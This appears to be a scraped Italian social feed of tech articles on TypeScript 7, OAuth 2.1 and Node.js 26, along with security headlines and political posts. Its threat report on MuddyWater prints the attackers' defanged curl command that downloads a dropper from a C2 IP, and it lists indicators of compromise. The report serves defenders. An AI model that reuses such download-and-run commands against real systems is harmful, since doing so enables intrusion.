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Con lo smart working possibile taglio alle emissioni di CO2 del 75%


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Malicious DeepSeek-Claw AI Skill Delivers Remcos RAT and GhostLoader in Agentic AI Supply Chain Attack
#CyberSecurity
securebulletin.com/malicious-d…
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Massive 2.45 Billion-Request DDoS Attack Uses 1.2 Million IPs to Defeat Rate Limiting in “Low and Slow” Campaign
#CyberSecurity
securebulletin.com/massive-2-4…
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Critical Palo Alto PAN-OS Zero-Day CVE-2026-0300 Actively Exploited — Root Access Granted on 5,800+ Exposed Firewalls
#CyberSecurity
securebulletin.com/critical-pa…
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TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica
#tech
spcnet.it/typescript-7-beta-ab…
@informatica


TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica


Con la terza preview di Visual Studio 2026 18.6 Insiders, Microsoft ha compiuto un passo importante: il compilatore integrato di TypeScript è stato aggiornato a TypeScript 7 Beta (native preview). Per tutti gli sviluppatori che usano Visual Studio con progetti TypeScript o JavaScript — compresi i progetti ASP.NET Core con pacchetti npm — questo cambiamento è già attivo e vale la pena capire cosa comporta.

Cos’è il compilatore nativo di TypeScript 7?


TypeScript 7 è un porting nativo del compilatore TypeScript, riscritto in Go. Questo porta l’esecuzione nativa e il parallelismo a memoria condivisa al compilatore e al language service TypeScript. I risultati misurati parlano di:

  • Fino a 10x più veloce per la compilazione di codebase di grandi dimensioni.
  • Riduzione significativa dell’uso di memoria rispetto al compilatore precedente.
  • Caricamento dei progetti circa 8x più rapido all’apertura in Visual Studio.

Se lavori con progetti TypeScript o JavaScript di grandi dimensioni, noterai miglioramenti concreti su tutta l’esperienza di sviluppo.

Quali funzionalità di Visual Studio beneficiano di TypeScript 7?


Il language service TypeScript aggiornato migliora direttamente molte funzionalità dell’IDE:

  • IntelliSense e completamenti. I suggerimenti di codice e le informazioni sui parametri appaiono più velocemente, soprattutto nei progetti grandi dove in precedenza si notava un ritardo.
  • Find All References. La ricerca di riferimenti nell’intera soluzione è significativamente più rapida.
  • Go to Definition. La navigazione alle definizioni è più reattiva.
  • Diagnostica degli errori. Le sottolineature rosse e la lista degli errori si aggiornano più rapidamente mentre si scrive.
  • Tempi di caricamento dei progetti. L’apertura di progetti TypeScript e JavaScript è notevolmente più veloce, con tempi ridotti di circa 8x.


Come controllare quale versione di TypeScript usa Visual Studio


Visual Studio usa il compilatore TypeScript integrato solo quando il progetto non specifica una versione locale. Se nel tuo progetto è installato TypeScript tramite npm, Visual Studio userà automaticamente quella versione invece di quella integrata.

Disabilitare la native preview di TypeScript 7


Se preferisci tornare al language service precedente, puoi disabilitare la native preview in Visual Studio. Vai in Strumenti > Opzioni > Funzionalità di anteprima e cerca “native preview”. Deseleziona l’opzione Enable JavaScript/TypeScript Native Language Service Preview e riavvia Visual Studio.

Usare TypeScript 6.x (GA)


Per usare la release stabile corrente, installa il pacchetto typescript nel tuo progetto:

npm install -D typescript@^6.0.0


Visual Studio rileverà la versione nella cartella node_modules e utilizzerà quella invece del compilatore integrato.

Fissare una versione specifica della native preview


Se vuoi usare esplicitamente la native preview ma fissare una versione specifica, installa il pacchetto @typescript/native-preview:

npm install -D @typescript/native-preview@beta


Problemi noti (e come aggirarli)


TypeScript 7 porta miglioramenti significativi, ma il team Microsoft è ancora al lavoro per raggiungere la parità completa di funzionalità con il compilatore precedente. Ecco i problemi noti più rilevanti per il lavoro quotidiano:

  • IntelliSense. In alcuni casi i completamenti potrebbero non apparire. Nei file .cshtml, l’elenco dei completamenti potrebbe non apparire all’interno di un tag <script>. Premere Ctrl+Space può aggirare il problema.
  • Azioni codice e refactoring. Le correzioni rapide (Ctrl+.) non sono ancora disponibili. Il comando Organize Imports (Ctrl+R, Ctrl+G) non è disponibile.
  • Navigazione e ricerca. I dropdown della barra di navigazione in cima all’editor non mostrano i simboli del documento. Find All References (Shift+F12) mostra una lista piatta senza raggruppamento semantico.
  • CodeLens. I contatori di riferimenti (es. “19 references”) non appaiono sopra le dichiarazioni di interfacce e classi.
  • Rinomina file. Rinominare un file o una cartella in un progetto TypeScript non aggiorna in modo consistente i percorsi di import negli altri file.
  • File watching. Quando i file vengono modificati fuori da Visual Studio, le modifiche non vengono rilevate finché il file non viene aperto e modificato nell’IDE.


Come riportare feedback


Se riscontri problemi con il compilatore o il language service TypeScript 7, il posto migliore per segnalarli è il repository GitHub typescript-go.

Per problemi specifici di Visual Studio, usa Developer Community per segnalare bug o suggerire miglioramenti.

Quando aggiornare?


Se lavori su progetti TypeScript/JavaScript di grandi dimensioni in Visual Studio, i guadagni di performance giustificano la prova della native preview già ora, accettando i problemi noti. Per progetti più piccoli o in produzione dove la stabilità è critica, è ragionevole aspettare il rilascio stabile di TypeScript 7 o fissare esplicitamente la versione 6.x nel progetto.

In ogni caso, il messaggio è chiaro: la direzione di Microsoft è verso un TypeScript nativo, più veloce e meno esigente in termini di risorse. Vale la pena familiarizzare ora con le nuove opzioni di configurazione.


Fonte: TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 di Sayed Ibrahim Hashimi (Visual Studio Blog)


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Vercel Data Breach: ShinyHunters Exploit OAuth Supply Chain Attack to Steal Customer Credentials for $2M Sale
#CyberSecurity
securebulletin.com/vercel-data…
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OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario
#tech
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@informatica


OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario


OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0


OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine


Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

  • Un job notturno che interroga un’API di reportistica
  • Un microservizio di spedizione che notifica il microservizio di inventario
  • Un worker in background che elabora una coda di messaggi
  • Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

  1. Il servizio invia le proprie credenziali al token service via HTTP POST
  2. Il token service verifica l’identità e restituisce un access token
  3. Il servizio usa il token per chiamare le API target


// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:
  • Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
  • private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
  • Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio


Flusso 2: Authorization Code + PKCE — applicazioni con utente


Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona


  1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
  2. L’utente si autentica (password, MFA, policy aziendali)
  3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
  4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice


PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

  1. Genera una stringa casuale (code_verifier)
  2. Calcola il suo hash SHA-256 (code_challenge)
  3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser


Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

  1. Il dispositivo richiede un codice utente e un URL di verifica al token service
  2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
  3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
  4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
  5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1


Scegliere il flusso corretto richiede esattamente due domande:

  1. È coinvolto un utente umano?No → Client Credentials
    • Sì → vai al punto 2


  2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
    • No → Device Authorization


Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché


Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

  • Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
  • Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
  • Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.


Conclusioni


OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026


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The Papillo Tour: il viaggio che racconta come prevenire le complicanze del Papillomavirus

@scuola

corriereuniv.it/the-papillo-to…

The Papillo Tour è il progetto dell’Università di Milano-Bicocca che nasce per raccontare la storia del Papillomavirus Umano (HPV) e della

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MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime
#CyberSecurity
insicurezzadigitale.com/muddyw…


MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


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Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo


MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos


Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa


L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica


Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma


Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica


Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori


  • Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
  • Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
  • Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
  • MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
  • Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.


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E siete a #Pisa anche il 22 maggio?

Siete tutti graditi a questo incontro dibattito con la prof. @mcp , il prof. #GiuseppeLongo e me!

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ACCIPIGNA! E CHI L'AVREBBE MAI DETTO?????

marieclaire.it/attualita/news-…

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Bernini: “FFO supera 9 miliardi, quota mai così alta”

@scuola

corriereuniv.it/bernini-ffo-su…

“Nel 2026 il fondo di finanziamento ordinario ha raggiunto la quota più alta della tua dalla sua nascita: oltre 9 miliardi e 400 milioni, in aumento quest’anno. Per questo continuo francamente non comprendere su quali basi si continui a parlare di tagli. Il

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Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy
#tech
spcnet.it/node-js-26-0-0-tempo…
@informatica


Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy


Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default


La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

  • Temporal.PlainDate: una data senza orario né fuso orario
  • Temporal.PlainTime: un orario senza data né fuso orario
  • Temporal.PlainDateTime: data e orario senza fuso orario
  • Temporal.ZonedDateTime: data e orario con fuso orario esplicito
  • Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
  • Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39


Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()


La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()


La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione


La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti


Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()


Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*


I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types


Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime


Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

  • module.register() — deprecato in favore di import.meta.url patterns
  • Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
  • Alcune API stream (DEP0201)


Come aggiornare


Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:
fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:
  1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
  2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
  3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
  4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'


Conclusioni


Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026


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Da Linux a Mac OS, poi a Windows e di nuovo (in parte) a Linux. Un appunto su anni di lavoro astrofisico con vari sistemi operativi...

segnalerumore.tumblr.com/post/…

#segnalerumore #tumblr #linux #zorinos

Questa voce è stata modificata (1 mese fa)
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"We estimate that an additional 1800 #Cuban babies died from these harsher #US sanctions"

This article by is a must read

(HT #GuillaumeLong)

cepr.net/publications/us-sanct…

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if you were unable to attend the conference on #WikiLeaks, #ExposingCrimesIsNotACrime, organised by #TatianaBazzichelli and her team at #DisruptionLab, don't miss the full conference on their YouTube channel here:

bsky.app/profile/disruptionlab…

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#DavidMcBride had the courage to expose #WarCrimes: he should be free and celebrated, while the #warCriminals should be in prison,but in our upside-down world, he's the one in prison.
Agitate, educate, organise against this monstrous injustice!

events.humanitix.com/free-davi…

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siete a #Pisa il 21 maggio?

Siete tutti graditi a questo incontro-dibattito sul mio libro #LArmaFinale (#FuoriScena), perché purtroppo la minaccia esistenziale delle #ArmiNucleari è di gran lunga peggiore che durante la #GuerraFredda e le abbiamo in casa

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gli schiaffi in faccia che #Trump continua a dare a #Meloni &Co. e rivelazioni come quella del #WashPost su #BasiMilitariUSA colpite dall'#Iran sono un'occasione formidabile x saltare giù dalla criminale #MacchinaDellaGuerraUSA prima che sia troppo tardi:

washingtonpost.com/investigati…

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da oltre 2 anni, #Israele stermina la popolazione inerme di #Gaza,oltre 20mila bambini macellati sotto gli occhi del mondo, da #X a #TikTok,tutti vediamo tutto, i nostri governi ci sono dentro fino al collo.

Questo è l'Occidente:

ilfattoquotidiano.it/in-edicol…

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"Stamattina leggevo di un bambino di Gaza che stava raccogliendo cartoni per la sua famiglia, per accendere un fuoco e cuocere un pasto[..] questo bambino è stato colpito da un drone alla testa"

Da leggere #AlessandroMantovani dalla #GlobalSumudFlotilla:

ilfattoquotidiano.it/in-edicol…

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"È inaccettabile il genocidio che continua".

Da leggere #AlessandroMantovani dalla #GlobalSumudFlotilla:

ilfattoquotidiano.it/in-edicol…

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"Meno voti prendono Renzi e Calenda [...] più spazi ottengono in talk show e giornali, che non si rassegnano alla loro estinzione e li tengono in vita artificialmente a colpi di interviste e ospitate", scrive #MarcoTravaglio.

La domanda è: perché?

ilfattoquotidiano.it/in-edicol…

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poi questa è l'assoluta urgenza del nostro Paese: mettere al centro delle priorità la lotta alla #povertà, non le cazzate del Palazzo che ogni sera vediamo nei talk show, vergogna nazionale
leggete questa storia:

ilfattoquotidiano.it/in-edicol…

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oggi molte cose da leggere,ma iniziamo da questo: la crudele, criminale guerra #USA contro #Cuba che #Rubio&Co vogliono distruggere solo x quello che rappresenta: le sanzioni hanno portato a una tragica impennata delle morti infantili

(HT @GuillaumeLong )

cepr.net/publications/us-sanct…

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«Una scelta di design intenzionale».
yoota.it/le-password-salvate-i…


Le password salvate in Edge sono leggibili (in chiaro) nella RAM, e per Microsoft non è un bug


Tutte le password salvate in Microsoft Edge restano in memoria del browser in chiaro per l’intera durata della sessione, non solo quella del sito su cui si sta effettuando il login. La scoperta arriva dal ricercatore norvegese Tom Jøran Sønstebyseter Rønning, che ha pubblicato un video dimostrativo e ha contattato Microsoft. La risposta dell’azienda, come riporta anche PCWorld, è che il comportamento non è un bug ma una scelta di design intenzionale.

Solo Edge tra i browser Chromium


